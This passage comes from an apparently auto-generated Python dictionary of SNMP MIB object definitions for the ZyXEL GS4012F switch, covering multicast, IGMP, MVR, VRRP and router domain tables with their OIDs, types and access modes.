"""An entry in multicastStatusTable.""",
}, # row
"multicastStatusIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"multicastStatusVlanID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"multicastStatusPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"multicastStatusGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2",
"status" : "current",
"description" :
"""A count table of igmp query/report/leave message.""",
}, # table
"igmpCountEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1",
"status" : "current",
"linkage" : [
"igmpCountIndex",
],
"description" :
"""An entry in igmpCountTable.""",
}, # row
"igmpCountIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Index of IgmpCountEntry. 0 means total count in whole system""",
}, # column
"igmpCountInQuery" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountInReport" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountInLeave" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountInQueryDrop" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountInReportDrop" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountInLeaveDrop" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountOutQuery" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountOutReport" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpCountOutLeave" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.2.1.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"multicastVlanStatusTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.3",
"status" : "current",
"description" :
"""""",
}, # table
"multicastVlanStatusEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.3.1",
"status" : "current",
"linkage" : [
"multicastVlanStatusVlanID",
],
"description" :
"""An entry in multicastVlanStatusTable.""",
}, # row
"multicastVlanStatusVlanID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"multicastVlanStatusType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.3.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"dynamic" : {
"nodetype" : "namednumber",
"number" : "1"
},
"mvr" : {
"nodetype" : "namednumber",
"number" : "2"
},
"static" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"multicastVlanQueryPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"Q-BRIDGE-MIB", "name" : "PortList"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpFilteringProfileSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27",
}, # node
"igmpFilteringMaxNumberOfProfile" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"igmpFilteringProfileTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.2",
"status" : "current",
"description" :
"""""",
}, # table
"igmpFilteringProfileEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"igmpFilteringProfileName",
"igmpFilteringProfileStartAddress",
"igmpFilteringProfileEndAddress",
],
"description" :
"""An entry in igmpFilteringProfileTable.""",
}, # row
"igmpFilteringProfileName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpFilteringProfileStartAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpFilteringProfileEndAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpFilteringProfileRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.27.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvrSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28",
}, # node
"maxNumberOfMVR" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"mvrTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2",
"status" : "current",
"description" :
"""""",
}, # table
"mvrEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"mvrVlanID",
],
"description" :
"""An entry in mvrTable.""",
}, # row
"mvrVlanID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""1..4094""",
}, # column
"mvrName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvrMode" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"dynamic" : {
"nodetype" : "namednumber",
"number" : "0"
},
"compatible" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvrRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvr8021pPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Set the 802.1p priority of control messages within MVR (0~7)""",
}, # column
"mvrPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.3",
"status" : "current",
"description" :
"""""",
}, # table
"mvrPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.3.1",
"status" : "current",
"linkage" : [
"mvrVlanID",
"dot1dBasePort",
],
"description" :
"""An entry in mvrPortTable.""",
}, # row
"mvrPortRole" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.3.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "1"
},
"source_port" : {
"nodetype" : "namednumber",
"number" : "2"
},
"receiver_port" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvrPortTagging" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"maxNumberOfMvrGroup" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"mvrGroupTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.5",
"status" : "current",
"description" :
"""""",
}, # table
"mvrGroupEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.5.1",
"create" : "true",
"status" : "current",
"linkage" : [
"mvrVlanID",
"mvrGroupName",
],
"description" :
"""An entry in mvrGroupTable.""",
}, # row
"mvrGroupName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.5.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"mvrGroupStartAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.5.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvrGroupEndAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.5.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mvrGroupRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.28.5.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"layer3Setup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.29",
}, # node
"routerRipState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.29.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"routerIgmpState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.29.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"routerDvmrpState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.29.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"routerDvmrpThreshold" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.29.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"routerIpmcPortSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.30",
}, # node
"routerIpmcPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.30.1",
"status" : "current",
"description" :
"""""",
}, # table
"routerIpmcPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.30.1.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in routerIpmcPortTable.""",
}, # row
"routerIpmcPortEgressUntagVlan" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.30.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31",
}, # node
"routerVrrpMaxNumber" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Always set it as 14.""",
}, # scalar
"routerVrrpTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2",
"status" : "current",
"description" :
"""""",
}, # table
"routerVrrpEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"routerDomainIpAddress",
"routerDomainIpMaskBits",
"routerVrrpVirtualID",
"routerVrrpUplinkGateway",
],
"description" :
"""An entry in routerVrrpTable.""",
}, # row
"routerVrrpVirtualID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerVrrpUplinkGateway" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerVrrpPreempt" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpInterval" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""1-255""",
}, # column
"routerVrrpPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""1-254""",
}, # column
"routerVrrpPrimaryVirtualIP" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpSecondaryVirtualIP" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"rpVrrpRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.2.1.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpDomainTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.3",
"status" : "current",
"description" :
"""""",
}, # table
"routerVrrpDomainEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.3.1",
"status" : "current",
"linkage" : [
"routerDomainIpAddress",
"routerDomainIpMaskBits",
],
"description" :
"""An entry in routerVrrpTable.""",
}, # row
"routerVrrpAuthType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.3.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"simple" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpAuthKey" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.31.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerVrrpStatus" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32",
}, # node
"routerVrrpStatusTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1",
"status" : "current",
"description" :
"""""",
}, # table
"routerVrrpStatusEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1.1",
"status" : "current",
"linkage" : [
"routerVrrpStatusIpAddress",
"routerVrrpStatusIpMaskBits",
"routerVrrpStatusVirtualID",
],
"description" :
""" """,
}, # row
"routerVrrpStatusIpAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerVrrpStatusIpMaskBits" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerVrrpStatusVirtualID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerVrrpStatusVRStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerVrrpStatusUpLinkStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.32.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerDomainSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33",
}, # node
"routerDomainTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.1",
"status" : "current",
"description" :
"""""",
}, # table
"routerDomainEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.1.1",
"status" : "current",
"linkage" : [
"routerDomainIpAddress",
"routerDomainIpMaskBits",
],
"description" :
"""An entry in routerDomainTable.""",
}, # row
"routerDomainIpAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerDomainIpMaskBits" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerDomainVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routerDomainIpTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.2",
"status" : "current",
"description" :
"""""",
}, # table
"routerDomainIpEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.2.1",
"status" : "current",
"linkage" : [
"routerDomainIpAddress",
"routerDomainIpMaskBits",
],
"description" :
"""An entry in routerDomainIpTable.""",
}, # row
"routerDomainIpRipDirection" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.2.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"outgoing" : {
"nodetype" : "namednumber",
"number" : "1"
},
"incoming" : {
"nodetype" : "namednumber",
"number" : "2"
},
"both" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerDomainIpRipVersion" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.2.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"v1" : {
"nodetype" : "namednumber",
"number" : "0"
},
"v2b" : {
"nodetype" : "namednumber",
"number" : "1"
},
"v2m" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerDomainIpIgmpVersion" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.2.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"igmp_v1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"igmp_v2" : {
"nodetype" : "namednumber",
"number" : "2"
},
"igmp_v3" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"routerDomainIpDvmrp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.33.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"diffservSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
